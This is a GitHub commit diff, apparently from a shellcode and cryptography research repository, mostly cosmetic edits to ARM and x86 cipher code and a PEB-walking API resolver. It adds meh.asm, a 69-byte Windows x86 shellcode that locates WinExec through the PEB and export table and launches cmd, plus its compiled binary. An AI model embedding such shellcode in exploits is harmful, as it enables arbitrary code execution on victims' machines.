Skip to content

Commit 2eb9594

Browse files
odzhanodzhan
committed
upd
1 parent 827ab99 commit 2eb9594

7 files changed

Lines changed: 58 additions & 18 deletions

File tree

‎os/linux/arm32/crypto/speck/spk.s‎

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -28,9 +28,8 @@
2828
POSSIBILITY OF SUCH DAMAGE. */
2929

3030
.arm
31-
.arch armv6
31+
.arch armv7
3232
.text
33-
.align 2
3433
3534
.global speck
3635

‎os/linux/arm64/crypto/keccak/kpp.s‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11

2-
// keccak-p[1600, 24]
2+
// keccak-f[1600, 24]
33
// 428 bytes
44

55
.arch armv8-a

‎os/linux/x86/crypto/rc6/rx.asm‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@
2828
; POSSIBILITY OF SUCH DAMAGE.
2929
;
3030
; -----------------------------------------------
31-
; RC6-128/256 Block Cipher in x86 assembly (Encryption only)
31+
; RC6-128/256 block cipher in x86 assembly (Encryption only)
3232
;
3333
; https://people.csail.mit.edu/rivest/pubs/RRSY98.pdf
3434
;

‎os/win/getapi/dynamic/getapi.c‎

Lines changed: 12 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -30,8 +30,7 @@
3030
#include "getapi.h"
3131

3232
// converts string to lowercase
33-
uint32_t crc32c(const char *s)
34-
{
33+
uint32_t crc32c(const char *s) {
3534
int i;
3635
uint32_t crc=0;
3736

@@ -46,8 +45,7 @@ uint32_t crc32c(const char *s)
4645
}
4746

4847
#ifndef ASM
49-
LPVOID search_exp(LPVOID base, DWORD hash)
50-
{
48+
LPVOID search_exp(LPVOID base, DWORD hash) {
5149
PIMAGE_DOS_HEADER dos;
5250
PIMAGE_NT_HEADERS nt;
5351
DWORD cnt, rva, dll_h;
@@ -94,8 +92,7 @@ LPVOID search_exp(LPVOID base, DWORD hash)
9492
return api_adr;
9593
}
9694

97-
LPVOID search_imp(LPVOID base, DWORD hash)
98-
{
95+
LPVOID search_imp(LPVOID base, DWORD hash) {
9996
DWORD dll_h, i, rva;
10097
PIMAGE_IMPORT_DESCRIPTOR imp;
10198
PIMAGE_THUNK_DATA oft, ft;
@@ -116,26 +113,29 @@ LPVOID search_imp(LPVOID base, DWORD hash)
116113

117114
imp = (PIMAGE_IMPORT_DESCRIPTOR) RVA2VA(ULONG_PTR, base, rva);
118115

119-
for (i=0; api_adr==NULL; i++)
120-
{
116+
for (i=0; api_adr==NULL; i++) {
117+
// no more DLL to process?
121118
if (imp[i].Name == 0) return NULL;
122119

123-
// get DLL string, calc crc32c hash
120+
// calculate crc32c hash of DLL string
124121
dll = RVA2VA(PCHAR, base, imp[i].Name);
125122
dll_h = crc32c(dll);
126123

124+
// obtain address of API names
127125
rva = imp[i].OriginalFirstThunk;
128126
oft = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
129127

128+
// obtain address of API addresses
130129
rva = imp[i].FirstThunk;
131130
ft = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
132131

133-
for (;; oft++, ft++)
134-
{
132+
for (;; oft++, ft++) {
135133
if (oft->u1.Ordinal == 0) break;
134+
136135
// skip import by ordinal
137136
if (IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)) continue;
138137

138+
// obtain address of API string
139139
rva = oft->u1.AddressOfData;
140140
ibn = (PIMAGE_IMPORT_BY_NAME)RVA2VA(ULONG_PTR, base, rva);
141141

@@ -153,8 +153,7 @@ LPVOID search_imp(LPVOID base, DWORD hash)
153153
* Obtain address of API from PEB based on hash
154154
*
155155
************************************************/
156-
LPVOID get_api (DWORD dwHash)
157-
{
156+
LPVOID get_api (DWORD dwHash) {
158157
PPEB peb;
159158
PPEB_LDR_DATA ldr;
160159
PLDR_DATA_TABLE_ENTRY dte;

‎os/win/getapi/dynamic/x86.asm‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -199,7 +199,7 @@ _get_apix:
199199
pop eax
200200

201201
mov eax, [fs:eax] ; eax = (PPEB) __readfsdword(0x30);
202-
mov eax, [eax+0ch] ; eax = (PMY_PEB_LDR_DATA)peb->Ldr
202+
mov eax, [eax+0ch] ; eax = (PPEB_LDR_DATA)peb->Ldr
203203
mov edi, [eax+0ch] ; edi = ldr->InLoadOrderModuleList.Flink
204204
jmp gapi_l1
205205
gapi_l0:

‎os/win/x86/meh.asm‎

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
2+
; 69 bytes WinExec shellcode
3+
; odzhan
4+
; nasm -fbin meh.asm -omeh.bin
5+
6+
bits 32
7+
8+
push 30h
9+
pop ecx
10+
mov eax, [fs:ecx] ; eax = (PPEB) __readfsdword(0x30);
11+
mov eax, [eax+0ch] ; eax = (PPEB_LDR_DATA)peb->Ldr
12+
mov esi, [eax+0ch] ; edi = ldr->InLoadOrderModuleList.Flink
13+
lodsd
14+
mov esi, [eax]
15+
mov ebx, [esi+18h] ; ebx = DllBase
16+
mov eax, [ebx+3ch] ; eax = IMAGE_DOS_HEADER.e_lfanew
17+
mov eax, [ebx+eax+78h] ; IMAGE_EXPORT_DIRECTORY.VirtualAddress
18+
lea esi, [ebx+eax+1ch] ; esi = offset IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
19+
mov cl, 3
20+
L1:
21+
lodsd
22+
add eax, ebx
23+
push eax
24+
loop L1
25+
pop edx ; edx = AddressOfNameOrdinals
26+
pop esi ; esi = AddressOfNames
27+
pop edi ; edi = AddressOfFunctions
28+
L2:
29+
movzx ebp, word[edx+ecx*2]
30+
lodsd
31+
inc ecx
32+
cmp dword[eax+ebx], 'WinE'
33+
jne L2
34+
add ebx, [edi+ebp*4] ; ebx = base + AddressOfFunctions[ebp]
35+
mov eax, ~'cmd'
36+
not eax
37+
push eax
38+
push esp
39+
call ebx
40+
41+

‎os/win/x86/meh.bin‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
j0Yd��@ �p ��0�^�C<�Dx�t���P��Z^_�,J�A�<WinEu���������PT��

0 commit comments

Comments
 (0)